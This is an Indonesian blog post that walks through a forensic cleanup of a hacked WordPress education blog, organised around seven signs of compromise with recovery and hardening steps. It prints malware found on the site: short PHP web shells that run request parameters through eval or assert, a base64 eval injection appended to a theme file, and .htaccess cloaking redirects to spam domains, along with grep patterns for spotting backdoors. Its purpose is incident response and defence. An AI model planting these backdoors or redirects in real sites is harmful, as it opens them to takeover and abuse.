Diagram alur 7 tanda WordPress diretas (admin user baru, file mtime aneh, web shell uploads, brute force login, cron job aneh, htaccess inject, plugin ghost)
Diagram alur 7 tanda WordPress sudah diretas: admin user baru, file mtime aneh, web shell uploads, brute force login, cron job aneh, htaccess inject, plugin ghost

Saya Ganti Password WP Setelah Lihat Log Ini: 7 Tanda WordPress Anda Sudah Diretas (Forensic 2 Jam Cleanup)

Diposting pada

Catatan transparansi: Studi kasus di artikel ini adalah klien blog edukasi (anonymized, bukan klien marketplace topup dari artikel sebelumnya). Nama domain, IP attacker, username admin backdoor saya samarkan. Angka-angka teknis (login attempt count, post injected, mtime file) adalah data real yang saya catat selama investigasi.

Senin 4 Mei 2026, jam 09:14 WIB, klien email saya dengan subject mendesak: “Pak, kok di Google Search Console saya ada sitemap.xml isinya 200+ artikel asing tentang slot gacor judi online, padahal saya blog edukasi guru SD/SMP?

Saya buka GSC klien. Sitemap real-time menunjukkan 487 URL, padahal seharusnya 287 (saya cek list post di WP admin masih 287). Selisih 200 URL = post asing yang ter-publish, ter-index Google, dan muncul di SERP dengan query “slot gacor [nama domain klien]”.

SSH ke cPanel hosting klien (Niagahoster Plus shared), lalu masuk WP admin. Dalam 30 menit pertama, 7 tanda compromise muncul satu per satu. Bukan satu masalah, kompromi sistemik.

Root cause akhirnya jelas: klien pakai theme premium nulled dari forum Indo (diberi “gratis” oleh kenalan 12 bulan lalu), kombinasikan dengan plugin abandoned yang punya CVE 2024 belum di-patch. Combo deadly: backdoor masuk lewat theme, ekspos endpoint vulnerable lewat plugin, attacker punya akses sejak entah kapan.

Total recovery: 2 jam 5 menit. Forensic 45 menit, cleanup 60 menit, hardening 15 menit. Site bersih, klien edukasi tentang nulled theme + maintenance plugin.

Artikel ini saya tulis bukan untuk jualan plugin security. Sebenarnya Wordfence free scan tidak deteksi 4 dari 7 tanda ini, Anda butuh forensic manual: baca access log, query database, find file dengan mtime aneh. Plugin security adalah second line of defense, bukan first.

Saya tidak akan bilang “pasti aman 100%”. Section hardening akhir mengurangi attack surface 80-90%, sisanya adalah zero-day risk yang butuh backup strategy + monitoring continuous. Tapi 7 tanda ini bisa detect cepat saat sudah terjadi, itu prerequisite recovery.

1. Kenapa Forensic Manual > Wordfence Free Scan

Wordfence free tier melakukan signature-based scan, match file Anda dengan database malware umum. Cocok untuk deteksi web shell populer (c99, r57, WSO), tapi tidak akan detect kategori berikut:

Tanda Compromise Wordfence Free Forensic Manual Wordfence Premium
Admin user baru yang Anda tidak buat
File modifikasi mtime aneh (>1 file)
PHP web shell di uploads ✓ (sebagian)
Login attempt dari IP aneh ✓ (Live Traffic) ✓ (access.log)
Cron job WP suspicious
.htaccess/wp-config injection subtle
Plugin/theme “ghost” reactivated ✓ (Real-time monitor)

4 dari 7 tanda tidak terdeteksi di Wordfence free. Itu pesan saya: plugin security adalah second line, bukan first. Untuk klien produksi serius, saya rekomendasi Wordfence Premium ($119/tahun) yang punya real-time firewall + monitor admin user creation. Tapi kalau Anda freelance/agency atau budget Wordfence Premium belum ada, forensic manual wajib bisa.

Untuk klien blog edukasi ini, kombinasi 7 tanda saya temukan tanpa Wordfence Premium, pakai wp-cli, find, grep, mysql query, dan diff dengan known-good copy. Berikut workflow lengkapnya.

2. Setup Tooling: WP-CLI + 3 File Wajib Dibaca

wp-cli adalah command line tool untuk WP. Banyak hosting shared (Niagahoster, Hostinger, Domainesia) sudah install default. Cek dengan:

wp --version

Kalau belum ada, install:

curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp

5 command starter yang sering saya pakai untuk forensic:

wp user list                              # Listing semua user + role
wp cron event list                        # Listing scheduled task WP
wp option get active_plugins              # Plugin aktif (vs filesystem)
wp core verify-checksums                  # Verify integrity file core WP
wp plugin verify-checksums --all          # Verify integrity plugin di WP.org repo

3 file yang wajib dibaca saat forensic:

  • access.log (Apache/Nginx) — request log 7 hari terakhir. Lokasi biasa:
    cPanel: /home/[user]/access-logs/ atau /home/[user]/logs/
    VPS: /var/log/nginx/access.log atau /var/log/apache2/access.log
  • wp-config.php — verify SALT belum diganti, tidak ada eval/base64_decode line tambahan
  • .htaccess — verify tidak ada Rewrite/Redirect aneh

Workflow saya: SSH ke cPanel terminal, jalankan wp-cli command, parallel buka phpMyAdmin di tab browser, parallel buka wp-content/uploads/ di File Manager untuk visual scan.

3. Tanda #1: Admin User Baru yang Anda Tidak Buat

Query DB pertama yang saya jalankan:

SELECT ID, user_login, user_email, user_registered 
FROM wp_users 
WHERE user_registered > '2026-04-15' 
ORDER BY user_registered DESC;

Real finding di klien:

+----+------------------+--------------------------+---------------------+
| ID | user_login       | user_email               | user_registered     |
+----+------------------+--------------------------+---------------------+
|  1 | klien_real       | [email protected]     | 2024-09-10 14:23:01 |
| 47 | wpadmin2_x9k     | [email protected] | 2026-04-28 02:14:17 |
+----+------------------+--------------------------+---------------------+

User wpadmin2_x9k, register 28 April 2026 jam 02:14 dini hari, email Protonmail (anonymous), nama mengikuti pattern wpadmin[X]_[random] yang typical untuk backdoor attacker.

Cek role di wp_usermeta:

SELECT * FROM wp_usermeta 
WHERE user_id = 47 AND meta_key = 'wp_capabilities';

Output: a:1:{s:13:"administrator";b:1;} — role administrator full akses.

Action delete:

DELETE FROM wp_users WHERE user_login = 'wpadmin2_x9k';
DELETE FROM wp_usermeta WHERE user_id = 47;

Atau via wp-cli (lebih clean, otomatis bersihkan usermeta terkait):

wp user delete wpadmin2_x9k --reassign=1

💡 Pro tip #1: Pakai wp user list --role=administrator --format=table untuk monitoring berkala (mingguan). Bisa di-cron-kan via WP_Cron action untuk kirim email weekly summary kalau ada admin user baru. Atau pakai plugin Simple History yang auto-log user create event.

Setelah delete, attacker masih bisa login kalau session cookie mereka valid. Itu kenapa step di Section 10 (Recovery) rotate WP salts wajib, invalidate semua cookie.

Screenshot terminal wp user list --role=administrator --format=table output yang menampilkan admin user backdoor
Screenshot wp-cli user list menampilkan admin user backdoor wpadmin2_x9k email Protonmail di antara admin legitimate dengan dashboard Wordfence Live Traffic 14 ribu login attempt dari Russia Vietnam Turki

4. Tanda #2: File Modifikasi Waktu Aneh (mtime <72 jam)

WP installation di steady state seharusnya tidak ada perubahan file di wp-content/ kecuali Anda upload media baru, install/update plugin, atau edit theme. Kalau Anda lihat banyak file PHP modified <72 jam yang Anda tidak ingat sentuh, itu red flag besar.

Command find:

find /home/user/public_html/wp-content -type f -mtime -3 -name "*.php" | head -50

Atau lebih granular dengan reference file (file yang Anda yakin tidak terkompromi):\

find /home/user/public_html -name "*.php" -newer /tmp/reference_file

Real finding di klien: 89 file PHP modified <7 hari, padahal klien terakhir update plugin 3 bulan lalu. 47 file di antaranya di wp-content/themes/[nulled-theme]/.

Yang paling mencurigakan: wp-content/themes/[theme]/functions.php, modified 23 April 2026 03:42 WIB. Jam segitu, klien tidur. Tidak ada update plugin/theme schedule.

Diff vs known-good copy (saya download theme version asli dari developer page sebelum cek):

diff /home/user/public_html/wp-content/themes/[theme]/functions.php \
     /tmp/[theme]-clean/functions.php

Hasilnya: 412 line baru ditambahkan di akhir functions.php, semua obfuscated base64 — payload typical backdoor. Sample (saya truncate dan sederhanakan):

<?php
// === Original theme code (line 1-1247) ===
// ... legitimate WP theme code ...
// === Injected backdoor (line 1248-1660) ===
@ini_set('display_errors', '0');
$xx = base64_decode('PD9waHAgQGV2YWwoJF9SRVFV...'); // 8 KB obfuscated
eval($xx);
// ... 412 line additional ...
?>

Cleanup: replace functions.php dengan version clean dari developer original.

⚠️ Catatan #1: mtime bisa dipalsukan attacker dengan touch -t YYYYMMDDHHMM file.php. Lebih reliable: bandingkan checksum. Untuk file core WP, pakai wp core verify-checksums. Untuk plugin dari WP.org repo, pakai wp plugin verify-checksums --all. Untuk plugin/theme premium berbayar, simpan hash sumber asli sebagai baseline saat install.

5. Tanda #3: PHP File di wp-content/uploads (Web Shell)

Folder wp-content/uploads/ adalah tempat media (gambar, video, dokumen PDF). Tidak pernah ada .php legit di sini, kecuali Anda salah upload tema/plugin secara manual.

Command scan:

find /home/user/public_html/wp-content/uploads -name "*.php" -type f

Real finding di klien, 3 file PHP backdoor:

/home/[user]/public_html/wp-content/uploads/2026/05/cache.php          (3.2 KB obfuscated)
/home/[user]/public_html/wp-content/uploads/2026/04/index2.php         (1.8 KB obfuscated)
/home/[user]/public_html/wp-content/uploads/file-manager.php           (24 KB full web shell)

3 jenis web shell yang berbeda:

(1) Cache.php, Backdoor minimal (3.2 KB):

<?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_REQUEST['cmd'])) {
    @eval(base64_decode($_REQUEST['cmd']));
    exit;
}
?>

Attacker akses dengan URL: https://site.com/wp-content/uploads/2026/05/cache.php?cmd=[base64_encoded_php_code], execute arbitrary PHP.

(2) Index2.php, Persistence backdoor (1.8 KB):

<?php
@assert($_GET['x']);
?>

assert() deprecated tapi masih jalan di PHP 8.0 (yang klien pakai). 1 line backdoor yang sulit detect oleh signature scan.

(3) File-manager.php — Full file manager web shell (24 KB):

Web shell professional grade, full UI file browser via web, akses semua file di hosting, upload/download/edit/delete, password protected via GET parameter. Mirip plugin “WP File Manager” yang sah, tapi standalone tanpa register di WP.

Cleanup:

find /home/user/public_html/wp-content/uploads -name "*.php" -type f -delete
# Confirm:
find /home/user/public_html/wp-content/uploads -name "*.php" | wc -l
# 0

Nginx hardening preventif (akan saya bahas detail di Section 11):

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Apache .htaccess equivalent di folder uploads:

<Files *.php>
    Order Deny,Allow
    Deny from all
</Files>

💡 Pro tip #2: Cara permanent prevent: tambah rule block execute PHP di wp-content/uploads/ via Nginx/Apache. Ini standard hardening tapi sering di-skip. Plugin “WP Hardening” atau “All In One WP Security” punya feature one-click apply.

Screenshot file manager (cPanelFTPVS Code Remote-SSH) dengan 3 PHP file backdoor
Screenshot cPanel File Manager menampilkan tiga file PHP web shell cache.php index2.php file-manager.php di folder wp-content uploads 2026 04 dengan terminal output eval base64 decode

6. Tanda #4: 14.287 Login Attempt dari IP Aneh

Brute force ke wp-login.php adalah standard recon attacker. Volume normalnya: 10-50 attempt/hari untuk site low-profile. Kalau lihat ribuan attempt/hari, itu coordinated attack, dan kalau passwordnya lemah, eventually berhasil.

Wordfence Live Traffic (free tier) ada tab Login Attempts, list IP + username + timestamp. Atau parse access.log manual:

awk '$7 ~ /wp-login\.php/ && $9 == "200"' /var/log/nginx/access.log \
  | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

Real finding di klien (7 hari terakhir):

Country Count attempt % Top username target
Russia 4.821 33.7% admin, administrator
Vietnam 3.142 22.0% admin, wpadmin, [domain]
Turkey 2.087 14.6% admin, root, test
China 1.523 10.7% admin, wp_admin
Indonesia 891 6.2% admin, [domain]
Other (40+ country) 1.823 12.8% Various
Total 14.287 100%

8.234 unique IP, 90% dari Russia/Vietnam/Turki, typical brute force botnet. Top username target adalah daftar dictionary common: admin, administrator, wpadmin, dan nama domain klien (attacker scrape WHOIS).

⚠️ Catatan #2: Login attempt tidak otomatis = compromise. 14k attempt belum tentu berhasil, tapi kalau brute force terus menerus, eventually berhasil kalau password Anda lemah atau XML-RPC tidak di-disable (XML-RPC bypass rate limit wp-login.php). Counter-measure: password panjang 16+ karakter + 2FA + disable XML-RPC + fail2ban filter (Section 11).

Untuk klien ini, saya konfirmasi attacker masuk via theme backdoor (Tanda #2), bukan brute force (login attempt success di access.log = 0 untuk semua IP non-Indonesia). Brute force adalah aktivitas paralel yang belum berhasil, tapi tetap perlu di-block sebelum berhasil.

7. Tanda #5: Cron Job WP yang Anda Tidak Set

WP punya cron internal (WP_Cron) — bukan cron OS sebenarnya, tapi system pseudo-cron yang trigger setiap page load. Attacker sering inject cron event untuk persistence, meskipun file backdoor dihapus, cron tetap respawn-kan.

Listing semua cron WP:

wp cron event list --format=table

Real finding di klien, 6 cron event tidak dikenal:

+-------------------------------+---------------------+-------------+
| hook                          | next_run            | schedule    |
+-------------------------------+---------------------+-------------+
| wp_scheduled_delete            | 2026-05-04 10:00:00 | twicedaily  |  ← legit
| wp_version_check               | 2026-05-04 12:00:00 | twicedaily  |  ← legit
| cron_check_domain_status       | 2026-05-04 09:50:00 | every5min   |  ← SUSPICIOUS
| wp_remote_check                | 2026-05-04 10:14:00 | hourly      |  ← SUSPICIOUS
| __wp_session_cleanup           | 2026-05-04 09:44:00 | every30min  |  ← SUSPICIOUS
| sync_remote_options            | 2026-05-04 23:00:00 | daily       |  ← SUSPICIOUS
| update_external_cache          | 2026-05-04 10:00:00 | hourly      |  ← SUSPICIOUS
| wpcleaner_health_check         | 2026-05-04 10:00:00 | every10min  |  ← SUSPICIOUS
+-------------------------------+---------------------+-------------+

6 hook suspicious dengan nama mirip-mirip native WP (wp_*, __wp_*) untuk avoid suspicion. Cara verify suspicious: grep nama hook di codebase:

grep -rn "cron_check_domain_status" /home/user/public_html/

Kalau hasil grep = 0 match di plugin/theme legit Anda, hook itu diregistrasi oleh code yang sudah dihapus (backdoor yang sudah cleanup, tapi cron event masih nyangkut di DB).

Cleanup:

wp cron event delete cron_check_domain_status
wp cron event delete wp_remote_check
wp cron event delete __wp_session_cleanup
wp cron event delete sync_remote_options
wp cron event delete update_external_cache
wp cron event delete wpcleaner_health_check

💡 Pro tip #3: Cron WP kadang legit-tapi-disabled (WP feature lama yang plugin Anda registrasi). Cek di wp_options table key cron (serialized array), compare nama hook dengan plugin/theme code base. Kalau hook tidak ada di code Anda, itu selalu suspicious.

8. Tanda #6: .htaccess + wp-config.php Dimodifikasi

.htaccess dan wp-config.php adalah top target untuk modifikasi attacker karena keduanya jalan di setiap request (mass effect).

Modifikasi typical attacker di .htaccess:

# Original WP .htaccess (clean):
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# Injected attacker (real finding di klien):
RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|yandex|baiduspider) [NC]
RewriteRule ^(.*)$ http://xxx-judi-slot.tk/$1 [R=301,L]
RewriteCond %{HTTP_REFERER} (google|bing|yandex|yahoo) [NC]
RewriteRule ^(.*)$ http://malware-redirect.tk/$1 [R=301,L]

Interpretasi:

  • Line 1-2: Kalau request datang dari Googlebot atau crawler search engine, redirect ke xxx-judi-slot.tk. Ini cara attacker dapat SEO traffic gratis, Google indeks spam site, klick-traffic dari SERP.
  • Line 3-4: Kalau referer dari Google search results, redirect user ke malware site. Ini cara harvest traffic real user dari klien yang search di Google.

User normal yang akses langsung domain klien (tanpa Googlebot, tanpa referer) → site terlihat normal. Itu kenapa klien tidak sadar selama berminggu-minggu.

Diff vs clean:

# Saya simpan clean copy di /tmp/htaccess-clean (dari WP fresh install)
diff /home/user/public_html/.htaccess /tmp/htaccess-clean

wp-config.php modifikasi check:

Attacker sering inject ke wp-config.php:

  • Backdoor eval line: eval($_REQUEST['x']); di awal file
  • SALT diganti dengan known-value (memungkinkan session hijack, attacker generate cookie valid karena tahu salt)
  • Define constant aneh: define('AUTOMATIC_UPDATER_DISABLED', true); (cegah klien auto-update yang akan timpa backdoor)

Verify SALT:

grep "AUTH_KEY\|SECURE_AUTH_KEY\|LOGGED_IN_KEY\|NONCE_KEY\|AUTH_SALT\|SECURE_AUTH_SALT\|LOGGED_IN_SALT\|NONCE_SALT" /home/user/public_html/wp-config.php

Kalau SALT terlihat “terlalu pendek” atau “ada pattern repeating”, attacker ganti. Default WP install generate SALT panjang 64 karakter random.

⚠️ Catatan #3: Kalau .htaccess atau wp-config.php termodifikasi, WAJIB rotate WP salts sebagai bagian dari recovery. Generate salt baru di https://api.wordpress.org/secret-key/1.1/salt/ → paste ke wp-config.php → semua user session ter-invalidate (termasuk attacker yang punya valid cookie). Ini step paling penting dari semua cleanup.

Screenshot output di terminal, dengan baris merah (deleted = original) dan baris hijau (added = injected RewriteRule untuk GooglebotBingbotYandex ke domain spam
Screenshot diff htaccess WordPress dengan baris RewriteCond user agent Googlebot Bingbot Yandex dan RewriteRule redirect ke domain spam judi slot di-highlight warna merah hijau

9. Tanda #7: Plugin/Theme “Ghost” Muncul Kembali

Anda uninstall plugin via WP admin dashboard, restart browser, refresh, plugin tetap aktif? Itu ghost plugin.

2 sumber konflik yang perlu dicek:

  1. wp_options key active_plugins, serialized array, apa yang WP loading saat startup
  2. wp-content/plugins/ folder, apa yang actually ada di filesystem

Compare keduanya:

# Apa yang WP load:
wp option get active_plugins

# Apa yang ada di filesystem:
ls /home/user/public_html/wp-content/plugins/

Real finding di klien:

=== wp option get active_plugins ===
0 => akismet/akismet.php
1 => wordfence/wordfence.php
2 => yoast-seo/wp-seo.php
3 => wp-cleaner-pro/wp-cleaner.php          ← SUSPICIOUS (folder hidden dari dashboard)
4 => simple-seo-tools/main.php              ← SUSPICIOUS (nama mimic SEO plugin)
5 => updraftplus/updraftplus.php

=== ls wp-content/plugins/ ===
akismet/
wordfence/
yoast-seo/
wp-cleaner-pro/        ← Folder exist
simple-seo-tools/      ← Folder exist
updraftplus/
wp-staging/            ← Folder exist tapi NOT di active_plugins (zombie folder)

3 anomali ditemukan:

  • wp-cleaner-pro, nama mimic plugin populer “WP Optimize”, tapi tidak di WordPress.org repo. Hidden dari plugin list via filter.
  • simple-seo-tools, naming mimic Yoast/Rank Math, juga tidak di repo.
  • wp-staging zombie folder, plugin yang klien uninstall 6 bulan lalu, folder masih ada di filesystem (file orphan).

Cleanup:

# Deactivate via wp-cli
wp plugin deactivate wp-cleaner-pro simple-seo-tools

# Delete folder
rm -rf /home/user/public_html/wp-content/plugins/wp-cleaner-pro
rm -rf /home/user/public_html/wp-content/plugins/simple-seo-tools
rm -rf /home/user/public_html/wp-content/plugins/wp-staging

# Verify active_plugins clean
wp option get active_plugins

💡 Pro tip #4: Plugin nakal sering pakai naming yang mimic plugin populer untuk avoid suspicion, wp-cleaner-pro, simple-seo-tools, wp-cache-manager, wp-security-enhancer. Cek di WordPress.org plugin directory, kalau plugin Anda tidak ada di repo official + Anda tidak ingat install-nya, langsung uninstall + investigate.

10. Recovery: Rotate Credentials + Restore Clean Backup

Setelah 7 tanda di-identify dan cleanup, recovery step yang saya jalankan (urut, jangan dibalik):

Step 1: Snapshot forensic evidence:

# Backup post-compromise state ke /tmp untuk evidence (bukan untuk restore!)
mkdir /tmp/forensic-snapshot-$(date +%Y%m%d)
rsync -a /home/user/public_html/ /tmp/forensic-snapshot-$(date +%Y%m%d)/files/
mysqldump -u root -p [db_name] > /tmp/forensic-snapshot-$(date +%Y%m%d)/db.sql

Backup ini jangan di-restore. Untuk evidence + analysis post-cleanup (cek timeline attacker, IP origin, dll).

Step 2: Rotate password admin:

wp user update klien_real --user_pass="$(openssl rand -base64 24)"

Output password baru, kirim ke klien via channel aman (Signal, ProtonMail, jangan WhatsApp).

Step 3 — Rotate password DB:

cPanel → MySQL Databases → Change Password → generate new password 24 char random.

Update wp-config.php:

define('DB_PASSWORD', 'new_password_here');

Step 4: Rotate WP salts (kritis):

# Generate salt baru
curl -s https://api.wordpress.org/secret-key/1.1/salt/ > /tmp/new-salts.txt
cat /tmp/new-salts.txt

Paste ke wp-config.php (ganti 8 SALT line existing). Setelah file disave, semua user session ter-invalidate (termasuk attacker).

Step 5: Force logout semua session aktif:

DELETE FROM wp_usermeta WHERE meta_key = 'session_tokens';

Step 6: Restore file dari backup pre-compromise:

Klien punya UpdraftPlus backup terjadwal weekly. Backup terakhir sebelum compromise = 29 April 2026 (5 hari sebelum incident discovery 4 Mei). Restore via UpdraftPlus → restore file only (bukan DB), karena DB klien banyak post legit yang perlu di-preserve.

Step 7: Cleanup DB injection selektif:

-- Delete post spam injected
DELETE FROM wp_posts 
WHERE post_status = 'publish' 
  AND (post_title LIKE '%slot gacor%' 
       OR post_content LIKE '%judi online%'
       OR post_title LIKE '%bandar%');
-- Verify count post turun dari 505 ke 287
SELECT COUNT(*) FROM wp_posts WHERE post_status = 'publish';

Hasil: 218 post spam dihapus, 287 post legit remain.

Step 8: Update core WP + plugin remain:

wp core update                # WP 6.4.2 → 6.5.x latest
wp plugin update --all        # Update semua plugin

Step 9: Uninstall theme nulled + ganti legitimate:

wp theme delete [nulled-theme-name]
wp theme install astra --activate

Klien edukasi: theme premium $59-99/tahun adalah insurance murah dibanding theme nulled “gratis” yang ujung-ujungnya bayar dengan kompromi.

11. Hardening: 5 Action Wajib Setelah Recovery

Post-recovery wajib harden untuk cegah recurrence. 5 action minimum:

(1) 2FA untuk semua admin user

Install Wordfence Login Security (free, terpisah dari Wordfence full):

wp plugin install wordfence-login-security --activate

Enable 2FA via TOTP (Google Authenticator / Authy / 1Password TOTP). Setup 5 menit per user.

(2) Disable file editing dari WP dashboard

wp-config.php:

define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);  // optional: disable plugin/theme install dari dashboard

Setelah ini, attacker yang dapat akses admin tetap tidak bisa edit theme/plugin file lewat dashboard.

(3) Disable XML-RPC

Kalau Anda tidak pakai JetPack atau WP mobile app, disable XML-RPC. XML-RPC adalah entry point brute force yang bypass rate limit wp-login.php.

Apache .htaccess:

<Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
</Files>

Nginx:

location = /xmlrpc.php {
    deny all;
    return 403;
}

(4) fail2ban filter untuk WordPress

VPS-only (tidak available di shared hosting). Filter custom untuk auto-block IP yang gagal login 5x dalam 10 menit:

/etc/fail2ban/filter.d/wordpress.conf:

[Definition]
failregex = ^<HOST> -.*"POST .*wp-login\.php.* 200
            ^<HOST> -.*"POST .*xmlrpc\.php.* 200
ignoreregex =

/etc/fail2ban/jail.local:

[wordpress]
enabled = true
port = http,https
filter = wordpress
logpath = /var/log/nginx/access.log
maxretry = 5
findtime = 600
bantime = 3600

(5) Audit log plugin (Simple History atau WP Activity Log)

wp plugin install simple-history --activate

Setelah aktif, log semua action admin user: login, update plugin/theme/post, user create/delete, file edit. Monitor weekly untuk anomali. Free tier cukup untuk 90% use case.

12. FAQ

Wordfence Free vs Premium worth-it untuk site klien produksi?

Wordfence Free cukup untuk site personal/blog low-profile. Untuk site klien produksi (e-commerce, business site dengan traffic), saya rekomendasi Premium ($119/tahun) karena: real-time firewall (vs delayed di free), real-time IP block list, country block, leaked password check. ROI gampang tercapai vs cost recovery setelah compromise.

Backup strategy yang cocok untuk WP (frequency + retention)?

Untuk site klien produksi: daily incremental + weekly full + monthly offsite archive. Retention: 30 daily + 12 weekly + 6 monthly. Tools: UpdraftPlus Premium, BackWPup Pro, atau VPS-level (rsync + restic). Storage: Backblaze B2 ($6/TB/bulan), Wasabi, atau Cloudflare R2.

Theme nulled = pasti backdoor? Cara identify backdoor di theme nulled?

90%+ theme nulled punya backdoor, tidak ada incentive yang share theme premium gratis tanpa nyisipkan backdoor. Cara identify: scan dengan grep -r “eval|base64_decode|gzinflate|str_rot13|preg_replace.*/e” wp-content/themes/[theme]/. Kalau ada match, hampir pasti backdoor. Tapi better solution: jangan pakai theme nulled, beli legit $59-99/tahun adalah insurance murah.

Bisa recovery tanpa SSH access (cPanel only)?

Bisa, tapi lebih lama. cPanel File Manager untuk delete file PHP di uploads, phpMyAdmin untuk query DB cleanup, WordPress Toolkit (Plesk) untuk scan + restore backup. Tools wp-cli tidak available, semua action via browser GUI. Estimasi waktu cleanup 2× lebih lama (4 jam vs 2 jam dengan SSH).

Kapan saya harus reinstall full WP (bukan cleanup partial)?

Reinstall full wajib kalau: (1) Anda tidak tahu kapan compromise terjadi (no clear timeline = mungkin attacker punya akses 6 bulan), (2) wp-config.php dimodifikasi (constant aneh, eval line), tidak yakin Anda find semuanya, (3) plugin core WP files dimodifikasi (cek dengan wp core verify-checksums). Reinstall: download WP fresh, restore DB clean dari backup pre-compromise, re-install plugin/theme legit only.

Plugin security yang Anda rekomendasi untuk klien produksi?

Wordfence Premium ($119/tahun) sebagai firewall + scanner full feature. Sucuri ($199.99/tahun) kalau butuh malware cleanup service include. MalCare ($99/tahun) cheaper alternatif dengan focus malware. Untuk free tier: kombinasi Wordfence Free + Simple History + WP Hardening + manual forensic skill (artikel ini).

13. Penutup

Recap 7 tanda compromise WordPress + recovery 2 jam:

  1. Admin user baru tidak dikenal (wp_users query)
  2. File modifikasi mtime aneh (find -mtime)
  3. PHP file di wp-content/uploads/ (web shell)
  4. 14k login attempt dari IP aneh (access.log)
  5. Cron job WP suspicious (wp cron event list)
  6. .htaccess + wp-config.php injection (diff vs clean)
  7. Plugin/theme “ghost” reactivated (active_plugins vs filesystem)

Recovery: rotate credentials + restore backup pre-compromise + cleanup DB injection selektif. Hardening: 2FA + disable file edit + disable XML-RPC + fail2ban + audit log.

Pesan utama: nulled theme + abandoned plugin = combo deadly. Theme/plugin premium $59-99/tahun adalah insurance murah dibanding cost recovery + reputational damage saat site klien jadi spam farm di Google.

Plugin security adalah second line of defense, bukan first. First line = update WP core/plugin/theme rutin + theme/plugin legitimate + backup strategy + monitor manual. Tidak ada tool gratis yang 100% prevent, tapi 7 tanda di artikel ini bisa detect cepat saat sudah terjadi.

Untuk deep-dive topik terkait:

 

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *